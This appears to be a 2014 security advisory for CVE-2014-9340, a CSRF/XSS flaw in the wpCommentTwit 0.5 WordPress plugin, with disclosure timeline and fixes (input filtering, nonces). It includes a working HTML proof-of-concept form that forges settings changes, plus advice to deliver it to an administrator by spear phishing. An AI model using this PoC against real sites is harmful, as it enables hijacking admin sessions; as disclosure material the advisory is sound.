WordPress wpCommentTwit 0.5 CSRF / XSS

🗓️ 14 Dec 2014 00:00:00Reported by Manideep KType

packetstorm🔗 packetstormsecurity.com👁 43 Views

WordPress wpCommentTwit 0.5 CSRF/XSS Vulnerability in Plugin

Reporter	Title	Published	Views	Family All 7
CVE	CVE-2014-9340	19 Dec 201415:00	–	cve
Cvelist	CVE-2014-9340	19 Dec 201415:00	–	cvelist
EUVD	EUVD-2014-9165	7 Oct 202500:30	–	euvd
NVD	CVE-2014-9340	19 Dec 201415:59	–	nvd
Patchstack	WordPress wpCommentTwit Plugin <= 0.5 - Multiple CSRF and XSS	7 Dec 201400:00	–	patchstack
Prion	Cross site request forgery (csrf)	19 Dec 201415:59	–	prion
WPVulnDB	WP Comment Twit <= 0.5 - Multiple CSRF	14 Dec 201400:00	–	wpvulndb

`# Title: CSRF/XSS Vulnerability in wpCommentTwit WP Plugin   
# Author: Manideep K   
# CVE-ID: CVE-2014-9340  
# Plugin Homepage: https://wordpress.org/plugins/wpcommenttwit/  
# Version Affected: 0.5 (probably lower versions)  
# Severity: High   
  
# About Plugin:  
wpCommentTwit is a plugin that will notify you of a new comment on your blog by DirectMessage (DM) via Twitter. You will only receive a DM if the comment is not flagged as spam or was approved manually.Currently this plugin utilizes the bit.ly hash format for shortening URLs.  
  
# Description:   
# Vulnerable Parameter: username, password etc  
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admins browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.   
# Vulnerability Class:   
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29   
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))   
  
# Steps to Reproduce: (POC):  
After installing the plugin  
  
You can use the following exploit code to exploit the vulnerability. For testing - you can just save it as .html and then get it clicked with an logged in administrator (by social engineering/spear phishing techniques) and see exploit in action  
Almost majority of the fields are vulnerable to CSRF + XSS attack  
  
  
<html>  
<body>  
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=wpCommentTwit.php" method="POST">  
<input type="hidden" name="username" value="csrf testing" />  
<input type="hidden" name="password" value="" />  
<input type="hidden" name="apikey" value="" />  
<input type="hidden" name="bitlyuser" value="" />  
<input type="hidden" name="message" value="A new comment has been posted on " />  
<input type="hidden" name="info_update" value="Update Options" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
# Recommendations:  
a) Use proper input filtering techniques  
b) Use unique tokens such as nonces  
  
# Mitigation:   
Plugin Closed  
  
# Disclosure:  
2014-11-06: Author notification  
2014-11-20: WP Team action taken by closing the plugin as there is no response from author  
2014-12-09: Public Disclosure  
  
# Credits:  
Manideep K  
Information Security Researcher  
https://in.linkedin.com/in/manideepk  
  
`

14 Dec 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7

EPSS0.00095